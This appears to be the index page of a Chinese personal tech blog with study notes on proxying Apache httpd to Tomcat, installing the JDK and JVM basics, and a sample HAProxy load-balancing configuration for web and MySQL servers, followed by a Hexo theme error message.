[root@bogon ~]# vim /etc/httpd/conf/httpd.conf 
 
ProxyRequests Off 
ProxyPassMatch ^/(.*\.jsp)$  http://192.168.122.115:8080/$1 
在这个的上面添加如上内容<Directory "/var/www/html">

重新启动httpd服务器即可；；；

如果tomcat在本地的话，那么在httpd进行反向代理的时候，仍要指定defaultHost=’www.test.com'；

展开全文 >>

46_02Tomcat系列之java初涉

安装jdk

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#chmod +x jdk-6u45-linux-x64-rpm.bin 
#./jdk-6u45-linux-x64-rpm.bin 
 
生成的文件在:/usr/java/目录下； 
 
#vim /etc/profile.d/java.sh 
export JAVA_HOME=/usr/java/jdk1.6.0_21 
export PATH=$PATH:$JAVA_HOME/bin 
 
#java -version 
 
查看java虚拟机的参数: 
#java --XX:+PrintFlagsFinal 
 
java配置参数： 
 
#java --XX:+<option>   :开启此参数指定的功能 
#java --XX:-<option>    :关闭功能 
#java --XX:<option>=<value>  :给option指定的选项赋值

-D=:设定系统属性值

Sun JDK监控和故障处理工具：

  • jps,JVM Process Status Tool：显示指定系统内所有的HotSpot虚拟机进程的列表信息
  • jstat,JVM Statistics Monitoring Tool：手机并显示HotSpot虚拟机各方面的运行数据
  • jinfo:显示正在运行的某HotSpot虚拟机配置信息
  • jmap:生成某HotSpot虚拟机的内存转存快照
    可视化工具:
  • jconsole：Java的监控与管理控制台
  • jvisualvm：可视化的VM

展开全文 >>

46_01Tomcat系列之java初涉

POSIX:Portable Operating System

API(Application Programming Interface)
ABI(Application Binary Interface)

JAVA

包含四个独立却又彼此相关的技术

  • java程序设计语言
  • java API
  • java class文件格式
  • JVM:java virtual machine

.java ——-> .class (bytecode)

JVM的实现方式

  1. 一次性解释器，解释字节码并执行
  2. 即时编译器(just-in-time conplier)
        依赖于更多内存缓存解释后的结果
  3. 自适应编译器
        缓存20%左右代码，提高80%左右的速度；

JVM: Hotspot JVM

    JRE: java运行时环境
    JDK:java 开发环境

JDK=Java+API+JVM，是用于实现java程序开发的最小环境
JRE=JVM+java SE API

JAVA应用领域的不同，JAVA可分为三类:

    JAVA SE: Standard Edtion
    JAVA EE: Enterprise Edition
    JAVA ME:Mobile Edtion

applet：小应用程序是采用Java编程语言编写的程序，该程序可以包含在 HTML（标准通用标记语言的一个应用）页中，与在页中包含图像的方式大致相同。
由于其安全性问题，出现了CGI；

CGI：然后JSP;

JSP:Java Server Page

线程共享内存区

  • 程序计数器
  • java虚拟机栈

线程共享内存区

  • 方法区
  • 堆:java自动内存回收(Garbage Collector)

垃圾回收算法

  • 标记-清除
  • 复制
  • 标记-整理

垃圾回收器

  • Serial
  • ParNew
  • Parallel Scavenge
  • Serial Old
  • Parallel Old

CMS：Concurrent Mark Sweep
    特点：并发收集、低停顿
    缺点：无法回收浮动垃圾、由于基于标记-清除算法，所以会产生碎片；

展开全文 >>

45_02http反向代理及haproxy

配置实例: 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
#Global settings 
# 
global 
    log         127.0.0.1 local2 
    chroot         /var/lib/haproxy 
    pidfile        /var/run/haproxy.pid 
    maxconn    4000 
    user        haproxy 
    group        haproxy 
    spread-check 3 
    nbproc 1 
    daemon 
 
defaults 
    mode             http 
    log            global 
    option            httplog 
    option            httpclose 
    option            dontlognull 
    option    http-server-close 
    option     forwardfor     except 127.0.0.0/8 
    option            redispatch 
    retries             3 
    timeout http-request    10s 
    timeout queue        1m 
    timeout connect    10s 
    timeout client        1m 
    timeout server      1m 
    timeout http-keep-alive 10s 
    timeout check         10s 
    maxconn        3000 
 
listen stats 
    mode     http 
    bind    0.0.0.0:1080 
    stats    enable 
    stats     hide-version 
    stats     uri    /haproxyadmin?stats 
    stats     realm    Haproxy\ Statistics 
    stats     auth     admin:admin　　　　这个要修改 
    stats     admin       if     TRUE 
 
frontend    http-in 
    bind     *:80 
    mode     http 
    log     global 
    option    httpclose 
    option     logasap 
    option     dontlognull 
    capture        request     header     Host     len     20 
    capture     request     header    Referer len     60 
    default_backend     servers 
 
frontend     healthcheck 
    bind    :1099 
    mode     http 
    option    httpclose 
    option     forwardfor 
    default_backend     servers 
 
backend     servers 
    balance     roundrobin 
    server     websrv1     192.168.10.11:80     check     maxconn     2000 
    server     websrv2     192.168.10.12:80    check     maxconn    2000

规划 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
director: 
eth0: 172.16.100.107 
eth0: 192.168.10.7 
 
realserver:         route: 
192.168.10.11        192.168.10.7 
192.168.10.12        192.168.10.7 
 
director: 
    #yum  -y install haproxy 
    #cp /etc/haproxy/haproxy.conf /root/ 
    #vim /etc/sysconfig/rsyslog 
    改为: 
    SYSLOGD_OPTIONS="-c 2 -r" 
    ＃vim /etc/haproxy/haproxy.conf 
    添加 local2.*     /var/log/haproxy.log 
    #service haproxy start            先确保日志是否正确，然后再更改配置文件 
　 
#service haproxy restart 
 
访问172.16.100.107 
 
访问状态: 
172.16.100.107:1080/haproxyadmin?stats 
用户，密码:admin admin 
 
当一台服务器停止了，会有显示的 
 
 
关于对mysql实现负载均衡: 
 
listen ..... 
 
frontend mysql 
    bind *:3306 
    mode tcp 
    log global 
    default_backend mysqlservers 
 
backend mysqlservers 
    balance leastconn 
    server dbsrv1  192.168.10.11:3306 check port 3306 intval 2 rise 1 fall 2   maxconn   300 
    server dbsrv2  192.168.10.12:3306 check port 3306 intval 2 rise 1 fall 2   maxconn   300

实验:
Keepalived + haproxy
Keepalived + nginx

这个地方只是最简单的，可自行参考《构建高可用Linux服务器》

展开全文 >>

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

探索世界美好的存在。